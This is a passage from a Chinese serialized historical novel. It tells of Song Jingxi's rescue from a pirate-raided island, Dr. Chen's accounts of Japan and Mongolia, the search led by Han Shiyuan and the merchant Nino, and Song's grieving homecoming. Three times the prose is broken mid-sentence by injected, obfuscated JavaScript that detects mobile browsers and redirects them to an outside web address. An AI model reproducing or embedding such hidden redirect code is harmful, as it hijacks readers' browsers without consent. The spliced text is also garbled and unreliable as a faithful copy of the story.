陈大夫略微点了点头:“对,我去了海东,但只待了两三个月,接着便坐船去了东瀛。那时我身无分文,一文不名,在人生地不熟的东瀛成了个哑巴乞丐,不过很幸运地,一对年迈的东瀛老夫妇收留了我,他们的两个儿子,一个死于疟疾,一个死于打仗,我倒在他们儿子的墓前,所以他们收留了我。” “大概在那待了两三年之久,我学会了东瀛话,也将那对老夫妇视作义父母。也许我这人可能是克父母,第二年的秋天,老夫妇冲撞了一名武士,他们因年迈而耳力不佳,没有听到武士叫他们让路的声音,所以被武士认作是贱民的挑衅,那武士一怒之下,砍掉了他们的头颅,丢弃在了路旁。” “......太可恶了。”宋景熙道:“后来呢?” “后来?”陈大夫敲了敲钓鱼竿:“后来我给那对老夫妇收尸的时候,听说那武士那晚是喝醉了酒,杀了人后便被拉回去了,住在老夫妇附近的东瀛人对我说,领主也许会惩罚那名武士,但我没心等结果了,只要是个心智正常的人都会知道结果遥遥无期,就算有结果,也断然不会叫那武士赔命,至多赔些钱罢了,我不想收那些钱,葬完那对老夫妇,便坐船离开了东瀛。” 宋景熙道:“似乎,换在海东也会这么处理,贵族的命向来高平民一等,高贱民两等。” “当然了,换在中原也一样。”陈大夫道:“我在东瀛的那一两年,除了起初很狼狈,东瀛的平民百姓对我很和善,我以为东瀛人都这么和善,不和善的是那些武士和大名。后来发现我想错了。” “这些倭寇?”宋景熙道:“他们中大多是东瀛人。” “没错,而且都是东瀛的底层贱民......”陈大夫道:“因此我曾在思考一些事情。” “什么事情?” 陈大夫将水下的鱼竿捞了起来,调整鱼钩,重新开始钓鱼。 “我听说,倭寇的侵略范围越来越大,起初只是抢夺几个岛屿,可如今中原成千上万岛屿,几乎落入了倭寇刀下,当初对那些矮子武士的轻视自然也就变得可笑了,况且,他们的野心似乎还不止如此。”陈大夫抬起头:“看着这片海面时,我频频生出一种不好的预感。” 宋景熙静默不语。 “朝廷并不将这些倭寇视作威胁,因为他们全心全意对抗着北方的敌人,他们的眼睛只看着北方,只害怕来自汗国的威胁,却从不往东边的海岸看一看。既然朝廷从未将倭寇放在眼里,自然也就不会派水军官兵救我们,我们只能自己赶走他们。我更为之担心的是,朝廷为了抵抗北方的敌人就已经相当吃不消了,为了支持北边的战事,中原百姓们日夜都勒紧裤腰带,还要受到天灾人祸的侵扰,若是这些侵袭沿海的倭寇们某天上了岸,中原该当如何?” 宋景熙道:“那......恐怕唯有誓死抵抗吧?” “代价太大了。”陈大夫摆了摆手:“尸体堆起来的景象,谁都不想看到。何况中原人也有叛徒,这些倭寇里就有江浙和福广流民,但也不能全怪他们,他们被逼得没了活路,只能投身倭寇。为了活下去,百姓和百姓聚集在了一起,然后挥刀屠向更多的百姓,而朝廷并不在意。” 宋景熙沉思道:“往后的事情,谁预料得到呢。或许倭寇的动静太大,中原朝廷也注意到了,会来救我们的。” “你说得对,那便不想这些了。”陈大夫说着收起钓竿。 宋景熙好奇道:“您不钓鱼了?” 陈大夫道:“运气不佳,先回营地。” 路上,宋景熙又道:“陈大夫,您还没说过东瀛以外的其它地方呢,那些地方怎么样?” 陈大夫道:“你见过蒙古人吗?” 宋景熙道:“唔,没有。” 陈大夫:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954895|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我离开东瀛回到中原后便去了蒙古,路途却丢失了地图,不知到了哪个汗国,那时的北方不知多少汗国林立,因为他们都想争夺蒙古王的位置,谁都想当可汗,所以都各自为王,纷争不断。我去的那个蒙古汗国并不强盛,但也对外来人尤其是中原人极其不友好。当然中原人也并不喜欢他们。我未曾抵达蒙古时,也对蒙古人并无好印象,你对蒙古人有什么印象?” 宋景熙思索了一阵:“野蛮?强壮?” “没错。”陈大夫点头:“我也觉得他们野蛮,茹毛饮血般的野蛮。我到了那个汗国,便被视作敌人抓了起来。” 宋景熙:“啊??” “他们把我变成了奴隶,剥去全部衣服,戴上镣铐,和其他奴隶连在一起。他们被其他汗国侵扰,所以不断更换驻地,我们这些奴隶便被他们用鞭子抽着日夜赶路,走不了路的奴隶就被直接杀死,弃于路边。那些蒙古人的生活方式和中原相当不一样,我险些死在那里。” 宋景熙道:“果然很野蛮。” “不过,我们对待奴隶,或者说罪犯,又何尝不是这样。”陈大夫道:“流刑两千里的时候,我和我家人曾经从中原的这一头走到中原的那一头,一样是被镣铐锁着,一样风餐露宿,一样被虐待,一样过得生不如死。” 宋景熙又点了点头:“这倒也是。那您怎么逃出来的?” “逃?我本来也是以为自己会死在蒙古。”陈大夫目光凝了凝:“我去往东瀛前,曾有一位疯子为我算过命,他说我命硬,一生会错过三次黄泉路。” “在蒙古为奴时,我仔细想了想,怎么也想不到什么时候已经错过了三次黄泉路,所以我想明白了,我不会死在蒙古。” “可我不知道我究竟该怎么逃,后来机会终于来了。蒙古人很强壮,是啊,尤其是那些打仗的,那些蒙古贵族,膘肥体壮,一刀捅下去也许捅不到内脏,连他们的小孩都那样强壮。我躺在地上怎么也睡不着时,突然有什么东西踩了我一脚,是一个蒙古男孩,这男孩才十岁,却有十三四岁一样肥壮,我什么也没说,他就说,你们中原人就该被我这么踩在脚下。” “我不回答,他却像受到了挑衅般跨了上来,揍着我的脸,我拼命反抗,血流进了肺里,好像要被自己的血给活生生呛死了。接着听到他痛呼一声,从我身上滚了下去,我晕了好一阵才知道是我咬烂了他的鼻子,为此我也付出了代价,他撕烂了我的右耳。” 宋景熙站在陈大夫的左边,没看到那只残缺的右耳,但脑海中却浮现了画面,他见过的,那只缺了下半边的右耳,原来是这么来的。 “后来我才知道,这蒙古男孩就是那儿的可汗的儿子。” “天啊。”宋景熙惊叹道:“那您竟然还奇迹般地活下来了,难道是趁那时逃走了?” 没想到,陈大夫反而否认了:“那蒙古男孩握着我的半截耳朵离开后,我也以为死定了,可过了好几天我还活着,也没有人来找我算账。我以为我能活了,结果突然有一天,那男孩再度出现,半张脸缠着绷带,我以为他来杀我,因为蒙古人很喜欢亲自杀死仇人,可他却说我很勇猛,他没见过这么能打的中原人,所以要留着我,然后要像个蒙古汉子一样正大光明地打败我。” 宋景熙笑了:“好天真,可您后来不也离开了?他没杀了您。” 陈大夫道:“其实他根本没见过其他中原人。” 宋景熙又莫名笑了。 陈大夫道:“他是个很喜欢打架的孩子,除了和自己家的蒙古人打,还要和我这位中原人打,可蒙古人不会和他拼命,只有我会,后来,我便成了他的中原朋友,他就成了我的蒙古朋友。之后我才知道,蒙古人也不如此野蛮,譬如在中原,我这样伤了贵族的人一定会死不是么?在中原,因为抄家而被杀死的孩子很多不是么?然而蒙古人不杀孩子,也不杀妇女。” 宋景熙颇有感触道:“再野蛮的人,也总有不野蛮的一面。这倒是比我们人性多了。可是您还没说您怎么离开的蒙古?” “是吗?”陈大夫道:“那我便说了,我先前说过,蒙古是个汗国林立、各自为王的地方,其它汗国的蒙古人攻打了过来,那地方没抵抗多久便被攻克下来。蒙古人虽然不杀孩子和妇女,却会杀能打能杀的男人,那片汗国的所有男人要么被杀,要么沦为奴隶,而我在战乱中恢复了自由人的身份,骑马离开了那里。” “那那个男孩呢?您说蒙古人不杀孩子,我听说过,蒙古人不杀没有车轮高的孩子。” “......”陈大夫沉思了一会:“那男孩已经比车轮还高了。” “原来如此......”宋景熙也沉思了一会,问道:“蒙古有什么给您留下很深印象的地方吗?” 陈大夫又沉思了一会,而后道:“呼麦,长调,马头琴。都是触及魂灵的震撼,我赤身裸体躺在草地上,听着他们呼麦,唱长调,弹马头琴,那是和中原完全不一样的感受,不过再也不会感受到了。” “那除了蒙古,还有一个天竺?您也去过了,天竺那是一个怎样的地方?” “神奇。一个和中原有着很多不一样的地方。譬如中原喜好用木材建造,而他们喜好用石料建造,那些高耸入云的城墙和堡垒,唐僧当年看到的大抵也是这些景象。” “唔,想象不出来。” “只能用震撼来形容了。不想象也好。”陈大夫道。 说着说着,已经走到了尽头,宋景熙坐在一棵树桩上,望了望天,道:“外面那么大,可是我只想回家。” 陈大夫将钓具挂在树上,听到了这句,也道:“这大抵是我最后一次错过黄泉路了。” “等这一次错过,我也该回家了。” 87. 等待进入网审 “左相大人呢?” 天锋接过看门人手里的灯,问道。 看门人道:“就在里头呢,大君大人也在,估计就是在等您,您快去吧。” 屋内。 李珘看到天锋走进来,立刻道:“怎么样了?结果如何?” 天锋言简意赅道:“天沛带着人回来了。” 李珘顿时两眼一亮:“他竟然跟着过来了?之前离开海东的时候还说永远不会再踏足这里了。” 韩时元道:“他在哪儿?” 李珘瞄了一眼天锋背后,发现空无一人,也道:“对啊,天沛人呢?怎么没有带着人跟你一起进来?” 天锋露出了难以言说的表情:“他们......刚回来便吵着要吃些什么填肚子,饱腹之后就晕过去了。” 李珘骇然:“晕过去了?” “对。”天锋道:“天铃看过了,只是过于疲倦和饥饿后突然胡吃海喝,身体一时受不了。” “......” “天铃说,让他们休息一会自然就会醒了。” 韩时元冷漠地道:“醒不来就用水泼醒。” 天锋点点头:“不过,他们的确也是身体透支到了极致才会如此。天沛说,他找到尼诺的家乡的时候,差点没被当地的领主捉了去当奴隶,等他找到尼诺,已经是二十几天后的事情了。“ 李珘晃了下头:“难怪天沛这孩子去了四五个月,一路上颠沛流离,恐怕如同难民一般,真是辛苦他了,还是让他好好休息一阵吧,也不着急......” 韩时元抿了抿唇,轻微地点了点头。 天锋继续道:“尼诺的国家似乎暂时处于动乱之中,连港口被那些领主封锁,天沛他找到尼诺后便一同四处躲藏了好一阵,还在那儿犯下了命案,据他自己所说,是他杀了几个领主的手下,接着便被整个地区通缉了,连同尼诺一起被通缉。” 李珘道:“他还真是会杀啊......然后呢?” ”尼诺原本并不想离开,但由于整个地区都在通缉他和天沛,那里已经没有他立足之地,他也就只好答应了天沛一起来海东的请求。” 李珘又呵呵笑道:“这事倒是办得不错。” 韩时元道:“尼诺的家人呢?“ 天锋顿了一下:“似乎是都被当地的领主俘虏或杀害了。” 不然,他也不会愿意抛家弃子再孤身一人来海东的。 李珘抚掌叹了一声:“还是叫他也好好休息吧,不急这一时。何况,即便他熟悉那一片海,也不一定能帮忙找到景熙,你说是吧,时元?” “没错。”韩时元依然紧锁着眉头,看着面前桌上摆放着一张坤舆图,他指着右下方一处海域,道:“只有可能在这里。” 这片海域,也就正在尼诺——那位贩卖解忧草的海商的国家附近。 “其他地方都寻过了,的确只有可能在这里。”李珘认可道。 所以尼诺是至关重要的。生长在那里,靠着海水长大的人,在海上谋生了一辈子的人,又在海上逃了一辈子的人,对那里熟悉得不能再熟悉了,恐怕就连那片海域究竟有多少个岛,岛都有多大都一清二楚。 只要有尼诺,找到宋景熙是迟早的事。 只要宋景熙没死,而是流浪到了哪个荒岛。 想到这,李珘再度叹了一口气,心情复杂地瞟了表情凝重的韩时元一眼。他这个徒弟,自从三年多前,就一直是这个表情了,本来就不爱笑,这下更是彻底。 要不是为了找宋景熙,他这个徒弟恐怕也不会踏入官场的。 片刻后。 屋外有人敲了敲门,一个嘹亮的女子声音传进来:“那个,那外邦人醒......呀!” “哐”的一声,房门被一把推开,手臂上还绑着绷带的尼诺灰头土脸地进来了。他先是用黑黢黢的面孔和眼睛扫了一眼屋内的人,然后鼻子朝天,毫不客气地坐了下来。 天铃见他好端端的进去了,屋里的人也没多说什么,便环臂哼了一声,嘟囔一句“受伤最多的倒先醒了”,随后关上门,拍拍手准备去看看天沛那个家伙怎么还不醒。 屋内,李珘见到尼诺,心想海商这人和三年多前没什么区别,除了更黑了,更沧桑了,眼下多了一道伤疤,还有一身伤,脾气还是一样。 “老兄,你可算来了,我们等你好久了。” “我来都来了,就别说多的了,你们想让我帮忙,当然是可以的。但是我有条件。”尼诺依旧是鼻子朝天,海东话竟然说得比三年前流畅得多了,也许是和天沛相处了一阵子的缘故。 “你们要是不答应,那就把我丢进海里喂大鱼得了,反正我也回不去了。”说着,尼诺咬牙切齿起来。 韩时元看着他,道:“什么条件。” 尼诺道:“我要钱!我还要人命!” “具体点。” “钱还不够具体?哦,是不够具体,我不要你们的什么铜钱通宝,我要黄金!银子也行,珍宝也成,总之我只要这些,只要值钱的,我能用的!” 李珘道:“你要多少?”一边说,一边心下祈祷,老兄你可别狮子大开口啊。 尼诺眯起眼睛:“随便你们给多少,反正这不是最重要的。”他只是想着要是他能带着钱回去,他能用这些钱贿赂那些领主的狗腿子,赎回他的家人! 他不知道他的家人还有谁活着,但只要一个,但凡能赎回一个就够了!总比都死了好。 最重要的......尼诺的眼睛里迸发出一阵恨意:“至于人命,你们的那个叫天沛的人,杀人很厉害,你们都很会杀人吧?你们有很多很会杀人的人吧?我帮助了你们之后,你们也要帮助我,帮我杀了那些拐了我家人,买了我家人,杀了我家人的畜生!” 李珘当即拍板:“行!” “你的条件,我们都答应,只要你能帮我们找到人,没什么是我们不能给你的,没什么是我们不能替你办到的。” 尼诺心里盘算了一会,再道:没什么是你们不能给我的?那我要是想要你们给我一百万两呢?” 韩时元抬起眼:“给。” “真果断。”尼诺扯出一个笑:“那我要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958493|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是要一千万两......” “老兄。”李珘打断他:“你是真心帮忙?还是真心敲诈?” 尼诺收回笑容:“我当然是真心......” “哐”的一声,房门再度被一把推开,一个沉稳的男子声音响起:“也给。” 李珘噢了一声,朝开门之人道:“魏兄,你来了?” 魏老板朝李珘哈哈一笑:“魏某听说有客人来了,心想怕不是您之前一直说得最后一个帮忙的人,这不就来看看了?”说完,又看向一脸奇怪的尼诺,露出惊异的表情:“果然是外邦人,长得便不似这里的人。” 尼诺道:“你是谁?” 魏老板高兴地走进房间里,很自然地挤在尼诺一边,自顾自道:“我认识你,这位外邦朋友,我都听说了,你是当年那位私贩解忧草的外邦商人对吧?唉,若是你好好做贸易,恐怕我便能结识得你了。” 尼诺僵硬地道:“你到底是谁?” “我?”魏老板道:“魏某乃正经官商,平安道义州商人是也。素来与中原、东瀛两国贸易,尤以中原为主。现在乃是海东第一商人,虽算不得富商巨贾,却也不是那么缺钱的,你要的一千万两,魏某乐意向大君大人解囊相助!”说罢,笑眯眯地看向李珘。 李珘也是哈哈一笑:“一千万两,魏老板,倒不必如此。从前寻人,都是你慷慨相助,解囊颇多,这回可不好意思让你再出钱了。” 魏老板严肃道:“唉,我帮的那些忙哪能算得上帮忙。既然是帮忙,帮了有结果才叫帮忙,现在还没找到人,魏某自然得帮忙到底了。魏某...也很想他回来啊。” 尼诺挪动了一下,离魏老板远了一些,脸色臭道:“随便你们给多少就是多少得了。” 韩时元离席了一会,取回来一支笔,摆在桌上,尼诺拿起这支笔,奇怪了一小会,但没表现出来,而是冷静地问道:“这是做什么?” “圈。”韩时元道:“圈出你认为可能的范围。” 尼诺心下了然,他的确比较擅长这个,看到这地图上那些散落在海域上的小岛,他竟然都能在脑海中想起这些岛的方位和模样。但他还需要更多信息,于是问道:“他消失的时候是什么情况?” “风雨交加。他消失后接连几天,海边沿岸一直在狂风大作。” “有多狂的风?” “能将人卷至半空,另外还摧毁了数百结农田。” 魏老板替韩时元补充道:“我记得那段时间,我的商队还禁了出行来着。因为风雨实在是太大了。如果那狂风能吹到你们那儿,那你或许有印象。” “......”尼诺沉思了一会,而后道:“有印象。那时我还在你们给我安排的回国的商船上,风雨的确很大,我们被吹得偏了航,但那个狂风没有一直追着我们的船吹,早就往别的方向去了,我记得是往......” 韩时元呼吸变得急促起来:“往哪里?” 尼诺又沉思了一会,然后举起毛笔,在舆图一角画了个饱蘸浓墨的圈,末了还点了点。 “这里。” 88. 蓬丘其四 宋景熙站在岸边,手里捏着一杆长矛。 他的眼睛看着海面,紧紧看着。 “好像有什么东西过来了。”过了一会,他突然道。 这话让岸边几个人都心下一紧,纷纷往海面看去,蓝盈盈的海面上,多了几个白色的点,黑色的点,白色的点在黑色的点上头,黑色的点在蓝色的海面上头。 几个模糊不清的点,并不能让人看清楚这是什么,可是对于陈大夫等一众在海边生长了半辈子的人来说,这点熟悉得不能再熟悉了。 这是船! 是大船! 而且还是有着巨帆的大船! 老魏登时目瞪口呆:“这么大的船?倭寇怎么搞这么大的船来了?!” 宋景熙暗自握紧了手里的竹矛。 以往光是一艘承载几十个倭寇的普通倭船都让他们吃力无比,而像现在眼前这样大型的船只,怕是能容载几百人不止。 而且过来的还不止一两艘,是整整五个白点! 这些年来,死在他手里的倭寇不说五六十个,也有三四十个。他一直是很能打没错,可是不代表他能一下子就单挑三四十个。 他道:“恐怕不下千人。比岛上人数还要多。” 陈大夫盯着那白色的几个点,凝视了一会,神色突然放松下来,还没待说什么,专修武器的老吴有些着急了,催促道:“倭寇这是铁了心要占了咱们的岛了,陈大夫!我回去喊人,让男人...还有老弱妇孺都把武器拿上!准备打仗大的......” “欸,不。”陈大夫挥手:“那不是倭寇。” “不是倭寇?”在场几人都有些懵了。 “不是倭寇。”陈大夫点头:“那是...” “...朝廷的水师。” “朝廷的水师?!”老魏再度目瞪口呆:“你是说...朝廷?朝廷的??朝廷的水师来了??!” 和宋景熙一样持着一根矛的老唐略感质疑:“陈大夫,你怎么知道?” 陈大夫看他:“你忘了我是哪里人了?” 老唐一下子噎住了,这倒是提醒他了,陈大夫本就是沿海出生的人,又是官家中人,自然知道朝廷的水师是什么样。 可是他还是很奇怪:“朝廷还会派水师来管咱们?” 陈大夫道:“不知道。朝廷有自己的想法。” 他绝对可以肯定那就是朝廷的海船,那就是朝廷的水师,那就是来救他们的。朝廷比他想得要好,没有忽略来自倭寇的侵扰。 他嘴上没说,心里肯定是高兴的。 宋景熙也不自觉露出了笑容,中原王朝的朝廷来驱赶倭寇了,这是不是代表他也可以回家了? 与此同时,海面的另一边。 一艘体型庞大的巨船正在全力破开波涛汹涌的海面,船上所有的帆布都朝向同一方向,意味着这艘巨船完全知道自己究竟要去哪里。 ...... 岛上,岸边排列着数百人,左边岸上停着五艘大舰,一批官兵陆续从船上下来,岸边数百人却并没有看向这些威武的官兵,而是纷纷盯着右边。 宽阔的海面上,竟赫然又出现了一艘有着巨大白色帆布的船只! 而这些下船的官兵,也和岛民一样,一刻不停地盯着那艘突然出现的海船。 水军统领立于高耸的甲板之上,喝道:“此乃倭寇贼子是也?” 船下,陈大夫抬头应道:“不敢确认,从前倭寇并没有来过这样大的舰船,也许不是倭......” “想来便是!”同样立于甲板上的副统领抢了话头,中气十足地道:“既到此处,除了我等,必然便是那倭寇贼子。” 水军统领哼了一声,再度喝道:“不过尔尔!”说罢,又朝船下众人道:“我乃中原第四十九水师!尔众皆为我中原子民,今一番蒙皇帝陛下之大恩,以我等数百坚船利炮,来救万岛万民于水火,尔等不必忧心,既是倭寇,自有我中原水师驱逐之!” 船下没几个人能完全听得懂这位说话一点不接地气的水军统领的话,但对其话中的“救什么什么于水火”,“不必忧心”,“驱逐”之类关键词还是把握得很准的,大抵明白这是有官兵来撑腰了,自己不必再和倭寇送命去了,于是纷纷挥舞双手,高兴激动起来。 副统领抬眼忘了下海面,然后握拳道:“统领大人,贼子已离我等十分接近,是否主动出击?” 水军统领喝道:“自然!” 船下突然传来一声不合时宜的高喊:“似乎不是倭寇!” 两位统领都往下看,发声的竟是那被他们忽略的陈大夫,听到这人唱反调,水军统领略感不悦:“何出此言?” 陈大夫举着一根木枝,指向那艘“倭寇贼船”,并不继续说话,但所有人都朝那艘“贼船”看去。 宋景熙也看过去。 那是一艘没有配备任何火炮的大船,船上不知何时站了一排戴着帽子的人,这些人纷纷朝岸边挥舞着双手,就好似打招呼一般。即便看不清他们的神色,也能让人明白这些来者没有敌意。 水军统领感到很奇怪:“这些人......” 副统领道:“看着...倒不似倭寇!”他朝时刻准备点燃火药的火器手挥了挥手,示意他们先别动手。 陈大夫松了一口气。那船上的人,旁人不认得,他去过海东,怎么可能不认得,看着装,可不就是海东人吗!对了,宋景熙也是海东人来着......这样想着,陈大夫瞟了一眼身边的宋景熙,却见宋景熙浑身颤抖,和方才一片欣喜的人群完全格格不入。 水军统领道:“那些人是谁?” “他们是海东人!”一声略带颤抖却不减声量的高喊回答了他。 陈大夫看着宋景熙,再一次感到了吃惊,却不免有些欣慰。 副统领望向船下,看着方才说话的宋景熙,问了一嘴:“喂,你怎么知道?” 宋景熙短短吸了一口气:“因为我就是海东人。” 副统领吃惊地“啊”了一声,扭头看了水军统领一眼。 水军统领抚了抚髯须:“......海东人?怎么会来这里?” 这不仅仅是在问那艘船上的海东人,也是在问船下的宋景熙。 宋景熙正不知该怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971290|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么回答,陈大夫却替他答了:“他是遭遇海难,流浪至此,那艘载着海东人的船,或许是来找他的。” 水军统领再度挠了挠髯须,这回挠得有些乱了。 那艘没有火炮的船离得越来越近,岸边所有人都一瞬不停地注视着它,同样,它载着的人也在一刻不停地搜寻着岸上众人的脸庞,这其中尤以一人最迫切。 这个搜寻地最为迫切的中年男子将眼睛定在一个穿着白色衣服的年轻男子身上,登时两眼一亮,双颊颤抖,迸出三个字:“宋景熙!!!” 宋景熙也看着这名中年男子,而且觉得这男子越来越眼熟,直到男子喊出他的名字,他也从脑海中翻出来了一人,也登时两眼一睁:“魏老板!” “是我是我!是我啊!”魏老板几乎感动得热泪盈眶,于是让船夫再行进得快些,然后猛猛拍了拍坐在甲板上躲在挡板后面的尼诺的肩膀,激动不已:“找到他了找到他了啊!” 尼诺也差点抓狂了:“我知道了我知道了你别他娘的拍了!” ...... “有缘再见了。” 宋景熙走上魏老板的船的甲板时,陈大夫只平淡地说了这么一句。 不知道陈大夫所说的缘分是什么,但宋景熙心想,果然还是那句话,只要两个人都活在世上,总有碰头的那么一天的。 魏老板还是抑制不住心底的激动,不知泪洒甲板几回了,连尼诺都被他打跑了几回,他颇为激动地拍了拍宋景熙的肩膀,擦擦眼角:“回家好啊,回家好啊......” 宋景熙也感动地道:“终于回家了。” “是啊。”魏老板再度擦了擦眼角:“老天爷终于让你回家了。” 五日后,海面之上。 宋景熙一如既往站在甲板上,魏老板刚从船舱上来,就看到宋景熙又在栏杆边不知在想什么。 他感到很奇怪,他以为宋景熙会问问他关于过去那两三年的情况,可宋景熙根本没问过,一次也没有。 他不明白。 魏老板静悄悄地走过去,准备和宋景熙一样盯着海面好好揣摩一下宋景熙到底在揣摩什么,可当他不再说话的时候,沉寂了许久的宋景熙却说话了:“汉阳......现在怎么样了。” 魏老板怔了怔,他自然明白宋景熙到底想问的是什么,可是当真的听到宋景熙这么问的时候,他却不知道该怎么回答了,于是只好道:“其实...你听些只言片语也听过了,也知道了,你父母被贬,那个人入朝,我们都一起来找你,就这样。” “谢谢,真的很谢谢......” 宋景熙其实想问他为什么没来,但还是将这问题吞了下去。魏老板对此毫无察觉。 过了一会,魏老板觉得海风吹来的咸湿味过于浓烈,待了一会便离开了。临走前拍了拍宋景熙的肩,以作安慰:“没什么大不了的。” 宋景熙依然站在原地,他也闻到了那股咸湿的气味,紧接着又尝到了咸湿的味道,张开干裂的嘴唇舔了舔嘴角。 是泪水的味道...... 在咸湿的海风里,他流下了咸湿的泪水。 89. 蓬丘其五 三十日后,江华。 她看到小儿子的第一眼,先是愣了一下,然后毫无征兆地嚎啕大哭起来。本来就已经红透了的眼眶,此时更加难以承受泪水。 她一只手紧紧捏着小儿子粗糙的双手——多年前那双摸起来那样娇嫩的手已经不复存在了,另一只手颤颤地抚上小儿子的脸庞。 如此干裂的嘴唇,如此面黄肌瘦的脸庞,如此枯糙的头发。 都已经不复存在了! 怎叫一个做母亲不心如刀绞呢! “景熙呀...你受罪了,看你瘦的......”宋母哽咽不已:“都和你哥一个样了。” “母亲,哪有。瞧我还好好的呢,没缺胳膊缺腿的。”宋景熙苦笑道,看向一旁的宋景元,心里感叹了下长兄的变化,问道:“还是哥更黑些。” 平心而论,他确实并不觉得自己有多大变化,顶多是晒得黑了些,顶多是手粗糙了些,哪像他哥,从前好歹皮肤还是白的,如今三十有几了,又脱下了帽冠和长袍,换上了平民的衣服,已经完全是个农人的模样了。 宋景元哭笑不得:“如今在外自给自足,早出晚归的,那些日光尽晒在身上了,可能不黑?” 宋母低声嗔了宋景元一下:“叫你别说这些。” 宋景熙耳朵自然是听见了,心里咯噔一下,突然想起这儿缺了一个人。 他爹。 他先前是从魏老板那里听说过了,他遭了海难之后,朝廷内外的事情也很快结束了,无论是废世子案扯出来的罪案还是崔氏一派的动乱,都一并迅速结束了。要说前者,之所以快,是因为王上雷厉风行地捉、判、斩了参与了废世子案的大臣,重罪的株连三族,譬如韩氏,当之无愧的首祸,全族斩得那叫一个雷厉风行;罪行轻些的呢,譬如宋氏......那就是流放了。 兴许是因为他宋景熙“将功抵过”的原因,宋氏一个原本应该被贬到哪个荒山野岭地沟沟的家族,竟然得到了轻微宽恕,贬得近了不止一点,甚至离汉阳不远,也就是此地江华。 也就是说,他的父亲母亲,包括兄长,都应该在江华才对。 宋景熙自认为虽然父亲不是很喜爱他,但他差点搭上一条命才好不容易回来,父亲是不可能不来看他的。 除非,是不能来了。 宋景熙额头跳了跳,不敢再继续想下去,只是他那犹犹豫豫、略带恐惧的眼神的蠢蠢欲动的双唇早就暴露了他的心思。 宋母看得出来,捏着儿子的手更加用力了,也缓缓落下眼神:“你想问你爹为什么没来,是不是?” 宋景熙心里一紧:“爹他...为什么没来?”他说着看了兄长一样,却只见兄长缓缓摇了摇头。 他心中的预感越发不好,并且心脏隐隐发疼。 不会的...不会的...... 宋母叹了一口气:“你爹他...没撑住,早就......” “......”宋景熙无言良久,落下一滴泪:“什么时候?” “你走之后没多久。”宋景元道。 宋母虽然并不怎么难受,但看见儿子落泪,自己也难受:“他让人服侍了一辈子,什么福没享过,就是没吃过一点苦。当初被流放到这里,你爹他只是走来这这就已经咳嗽连连,更别说还要种地挑水。” “他病得很严重,严重的风热。”宋景元接过母亲的话头:“他一直在扛着,快要好起来的时候,非要起来在海边走一圈,没走多远就摔在了海滩里,又呛了水,晕了几日之后便不行了。” 宋景熙号啕大哭起来。 “都是他自作自受。”宋母咽声道:“他一直都是这样,非要这么做,非要那么做,一直都是他自己自作自受。” “母亲。”宋景元唤了一声。 “人都走了,说这些,真没意思。”宋母别过头,便开始后悔自己真不该在刚回来的景熙面前说这些,就算要说,好歹也得等景熙接受了之后再说,于是迅速调整了情绪,道:“景熙,你去看看他。” 宋景熙哽咽一声:“他在哪?” “回去吧。”宋景元道:“就在家附近。” 祭奠过后。 母子三人坐在屋子里,宋母再度握着小儿子的手,一边摩挲,一边唤道:“景熙。” 宋景熙刚刚缓过神来,乖乖地回应了一声。 他方才一直在想别的事情。 崔在燮之乱,究竟是怎么被平息地这么快的? 他这么问魏老板的时候,魏老板却似乎并不愿意多提,只说有人的功劳很大。 如果说是立了军令的郑氏的功劳的话,那魏老板没有理由不告诉他才对。 他现在心乱如麻,仿佛一个新生却有着意识的婴儿要接受各种各样乱七八糟的事。 韩时元现在怎么样?李珘怎么样?郑禹原怎么样?沈本庭怎么样?还有...李澄和李宝爱怎么样? 他都还不清楚。 简直就像一个婴儿,什么都不知道。可偏偏他还不能不知道。 宋母显然是看穿了小儿子的焦虑和忧心,这世上还有什么是比一位母亲更了解自己的儿子的呢?宋母深深地看着小儿子,眼底流露出慈爱的目光,道:“你还什么都不知道,肯定有很多想问的地方,想问什么就问吧。若是问朝廷的事,我虽不清楚,你哥也都知道。” 宋景元点了点头。 “是。”宋景熙呼了一口气。 “郑氏和沈氏现在如何了?” “郑氏因为韩氏受了些牵连,但郑氏因平乱有功,所以并未受到过多惩处,不过是降职罚俸而已。沈氏,倒是并无影响,不过他们如今应当并不好过才是。”说到这,宋景元笑了笑:“知道你想问你的朋友,放心,你朋友都好好的,那位郑禹原啊,当初随他父兄一同去尚州守城,守得很漂亮,后来反击得也很漂亮。” 